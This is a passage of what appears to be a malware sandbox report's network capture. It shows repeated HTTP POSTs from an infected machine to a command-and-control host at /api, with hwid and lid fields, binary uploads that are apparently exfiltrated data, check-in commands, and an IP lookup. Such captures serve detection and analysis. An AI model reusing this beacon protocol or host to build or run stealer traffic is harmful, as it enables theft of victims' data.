name="hwid"8B2BACE9145C30D400D57F9DDD37BE0C--LJS1T865RN0MContent-Disposition: form-data; name="pid"2--LJS1T865RN0MContent-Disposition: form-data; name="lid"yau6Na--6989783370--LJS1T865R
2024-12-18 16:09:37 UTC	2801	OUT	Data Raw: 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc Data Ascii: u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-12-18 16:09:38 UTC	1034	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hnv4046nkqlvr9tlfc91b9drop; expires=Sun, 13-Apr-2025 09:56:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hg4WTPO45vWVFcEwFlUO4XUUYlR6sW8u4BHd33Om%2BusrIsPBiAhvwAJ6%2F7MEnUHOwh1HS3qjbpbElnGLbBspom0F%2Brc061wh%2FsHtH3tMMuTIRXppmwivjxacjJ7HGlHf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406b1938354361-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1682&rtt_var=636&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2830&recv_bytes=19085&delivery_rate=1713615&cwnd=221&unsent_bytes=0&cid=65e28ede53697d2f&ts=938&x=0"
2024-12-18 16:09:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:09:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	50056	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:39 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2QZO7UKI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8729 Host: grannyejh.lat
2024-12-18 16:09:39 UTC	8729	OUT	Data Raw: 2d 2d 32 51 5a 4f 37 55 4b 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 32 51 5a 4f 37 55 4b 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 51 5a 4f 37 55 4b 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 32 51 5a 4f 37 55 4b 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --2QZO7UKIContent-Disposition: form-data; name="hwid"8B2BACE9145C30D400D57F9DDD37BE0C--2QZO7UKIContent-Disposition: form-data; name="pid"2--2QZO7UKIContent-Disposition: form-data; name="lid"yau6Na--6989783370--2QZO7UKIContent-Dis
2024-12-18 16:09:40 UTC	1026	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d9ssah5bdl6gv3k00h86rldott; expires=Sun, 13-Apr-2025 09:56:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aYpxfoUUriaZLk76PfdgHUJd2QsRc1UMh6FTkvEOOB1DPOSai6FjZ6RVe8%2B1v514eF98ri021Gy6PeIWYxMXgK0b9AKqdDYyOTm34DzlLujz5tPJPt6luTXdJg17m7Qa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406b26fc8ec346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1734&min_rtt=1654&rtt_var=782&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2829&recv_bytes=9655&delivery_rate=1269013&cwnd=181&unsent_bytes=0&cid=9a4eedfb471a34c1&ts=788&x=0"
2024-12-18 16:09:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:09:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	50063	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:41 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NHY9YILOA1XZLAD5HM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: grannyejh.lat
2024-12-18 16:09:41 UTC	15331	OUT	Data Raw: 2d 2d 4e 48 59 39 59 49 4c 4f 41 31 58 5a 4c 41 44 35 48 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 4e 48 59 39 59 49 4c 4f 41 31 58 5a 4c 41 44 35 48 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 48 59 39 59 49 4c 4f 41 31 58 5a 4c 41 44 35 48 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 Data Ascii: --NHY9YILOA1XZLAD5HMContent-Disposition: form-data; name="hwid"8B2BACE9145C30D400D57F9DDD37BE0C--NHY9YILOA1XZLAD5HMContent-Disposition: form-data; name="pid"3--NHY9YILOA1XZLAD5HMContent-Disposition: form-data; name="lid"yau6Na--69897
2024-12-18 16:09:41 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-12-18 16:09:42 UTC	1028	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ne02ashj5hg1l4imgfd1muo6t; expires=Sun, 13-Apr-2025 09:56:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P65o4ANGFVMkC7uQT7VFuFSaK8PfMqdzyk7Oe5nZY7OpKiPostdQvEbk5lOsQF3JHMiS0pOLQGcOmj8EBoumhwFUGdkl%2Bv5kooeOikffgKkdVrOZCY5xCRNZAouHY3Pu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406b33f87980e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1663&rtt_var=681&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21401&delivery_rate=1543340&cwnd=114&unsent_bytes=0&cid=edc00e200d642de0&ts=987&x=0"
2024-12-18 16:09:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:09:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	50074	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:43 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2VF2JL33TN4J2IH3WWP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1341 Host: grannyejh.lat
2024-12-18 16:09:43 UTC	1341	OUT	Data Raw: 2d 2d 32 56 46 32 4a 4c 33 33 54 4e 34 4a 32 49 48 33 57 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 32 56 46 32 4a 4c 33 33 54 4e 34 4a 32 49 48 33 57 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 56 46 32 4a 4c 33 33 54 4e 34 4a 32 49 48 33 57 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 Data Ascii: --2VF2JL33TN4J2IH3WWPContent-Disposition: form-data; name="hwid"8B2BACE9145C30D400D57F9DDD37BE0C--2VF2JL33TN4J2IH3WWPContent-Disposition: form-data; name="pid"1--2VF2JL33TN4J2IH3WWPContent-Disposition: form-data; name="lid"yau6Na--69
2024-12-18 16:09:44 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ip1eqrvhc6nc0i6adlmbcpm0l1; expires=Sun, 13-Apr-2025 09:56:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q9d8HSoyiJ5i9UocQcVR0rjOTFgGBeU2%2BXVR3AJ4LLH8w3PlCR4FsigMg6wwvokKSo1EESCOXz9BHVgmUKxI%2BN1kPoaFcPb1OqkNznLxV10Hx1nv16EvusmpkNEeYhHJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406b429a278c9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1846&min_rtt=1844&rtt_var=697&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2256&delivery_rate=1564844&cwnd=171&unsent_bytes=0&cid=a59b8c5a704d75b9&ts=838&x=0"
2024-12-18 16:09:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:09:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	50083	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:46 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6M4HYS1GTREL5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29550 Host: grannyejh.lat
2024-12-18 16:09:46 UTC	15331	OUT	Data Raw: 2d 2d 36 4d 34 48 59 53 31 47 54 52 45 4c 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 36 4d 34 48 59 53 31 47 54 52 45 4c 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 4d 34 48 59 53 31 47 54 52 45 4c 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 36 4d 34 48 59 53 Data Ascii: --6M4HYS1GTREL5Content-Disposition: form-data; name="hwid"8B2BACE9145C30D400D57F9DDD37BE0C--6M4HYS1GTREL5Content-Disposition: form-data; name="pid"1--6M4HYS1GTREL5Content-Disposition: form-data; name="lid"yau6Na--6989783370--6M4HYS
2024-12-18 16:09:46 UTC	14219	OUT	Data Raw: f0 c2 a0 61 e1 bb b5 85 a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df 7a 2f 15 6f 5e 8a 52 eb 8f 3d 5a b5 1b 48 4d 79 64 30 cc 8f Data Ascii: anZo73$\|)PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mDom;z/o^R=ZHMyd0
2024-12-18 16:09:47 UTC	1030	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jaf334b720502pcp3r9ucqovh7; expires=Sun, 13-Apr-2025 09:56:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HcWwJG58nSkELwmh7AtKfdUgN8kw2of%2BGXpOo8wdp85SWuJj9ktJ76MLQFwNRB78tpSBYAflUvurU0yQgGRgwH2TY4xZlUuM5%2BxPAk8uQpqnz9WYBphpqPbwAGlhEtg4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406b53189aefa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1762&min_rtt=1758&rtt_var=668&sent=15&recv=34&lost=0&retrans=0&sent_bytes=2831&recv_bytes=30526&delivery_rate=1625835&cwnd=165&unsent_bytes=0&cid=be1635f31852f62a&ts=926&x=0"
2024-12-18 16:09:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 16:09:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	50092	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:48 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: grannyejh.lat
2024-12-18 16:09:48 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d 26 68 77 69 64 3d 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--6989783370&j=&hwid=8B2BACE9145C30D400D57F9DDD37BE0C
2024-12-18 16:09:49 UTC	1030	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=26ave6b0vqepm5stvn7p6jug4v; expires=Sun, 13-Apr-2025 09:56:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Np118I2gF%2Bwo6FS%2FLy3InETbkIiJYmOsHFyfP5LEAZzfX0OSrXBgiFCC4RbzNmd%2FvjVlF53XR3ehKz9IsbziTWKjfJPT7Ha2NCqvGsiYXfQBEJHFXB%2FZhfCrEtmuRoOB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406b614eb24339-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1694&min_rtt=1686&rtt_var=650&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=984&delivery_rate=1661923&cwnd=227&unsent_bytes=0&cid=96bfa96dc634ef8d&ts=813&x=0"
2024-12-18 16:09:49 UTC	54	IN	Data Raw: 33 30 0d 0a 50 58 49 37 66 75 2f 70 55 49 67 6c 4d 59 39 34 62 6f 55 66 54 4d 53 52 6c 31 66 65 61 72 55 65 59 32 64 36 54 69 43 4f 53 51 64 6d 4c 77 3d 3d 0d 0a Data Ascii: 30PXI7fu/pUIglMY94boUfTMSRl1fearUeY2d6TiCOSQdmLw==
2024-12-18 16:09:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	50281	98.85.100.80	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:12:59 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-18 16:13:00 UTC	224	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:13:00 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-18 16:13:00 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	50321	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:25 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 16:14:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 16:14:27 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j437fnq3a2f16kt991pbe7rioe; expires=Sun, 13-Apr-2025 10:01:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JRQ5JSgp5tfNIq3y6G6%2FxEjnrJwx9jwOiwJ%2F1jl%2F6Nj4N1p1AamyowAWcxR4gH2Cal3TN%2FqBb6%2FFAvbxq0MQY7gLIwc7BL%2BgxMilVgNUF89N4GJ4vtagSticb0%2BJQ6WM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072249da5425d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1582&rtt_var=599&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1818181&cwnd=193&unsent_bytes=0&cid=d9e467990d5b2959&ts=2085&x=0"
2024-12-18 16:14:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 16:14:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	50324	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:14:29 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-18 16:14:29 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-18 16:14:31 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:14:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sr6db5cjr52t4cobds99ogcktv; expires=Sun, 13-Apr-2025 10:01:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I3jHhQydlfo5CeLEVQX1s2B71re9udOHXRbuZcAlgxJdV3wEZWivzAGxPSK0Ekag3qCWIk8a9Gk8ASgRLMyDXOOp5s900vP0kDSB7JDUAB2iCdXRg7ofn6wejjtSIkZe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4072395e847d1e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1807&min_rtt=1794&rtt_var=698&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=944&delivery_rate=1538461&cwnd=192&unsent_bytes=0&cid=16a51520603dbd51&ts=2748&x=0"
2024-12-18 16:14:31 UTC	346	IN	Data Raw: 34 39 31 63 0d 0a 78 45 66 4c 35 77 74 44 6b 76 31 64 51 4a 56 48 51 57 32 6f 61 32 68 6e 47 47 6a 49 43 6d 33 54 57 43 33 4e 67 49 58 73 72 57 71 2f 5a 62 33 46 4d 58 65 2b 33 79 34 6c 74 33 30 31 48 39 30 4f 52 45 56 35 44 4f 6f 77 43 37 49 30 58 71 69 73 70 35 72 41 53 50 34 68 71 6f 74 34 4a 72 37 66 4f 44 69 33 66 52 6f 57 69 67 34 47 52 53 4a 4b 72 57 41 50 73 6a 52 50 72 4f 76 71 6e 4d 45 4a 72 43 75 73 6a 32 34 67 39 70 77 78 4c 66 41 69 4a 41 7a 43 42 51 45 4b 63 41 58 71 4a 6b 2b 32 49 67 2f 33 6f 73 69 4a 32 51 75 4a 4a 72 69 4d 4b 54 36 2b 68 6e 38 6c 2b 32 56 37 54 38 6b 4f 43 67 74 2b 44 4b 4e 69 42 62 73 38 54 71 6e 71 39 59 58 4c 41 71 77 6c 72 34 35 6b 4b 65 4b 52 4f 79 72 37 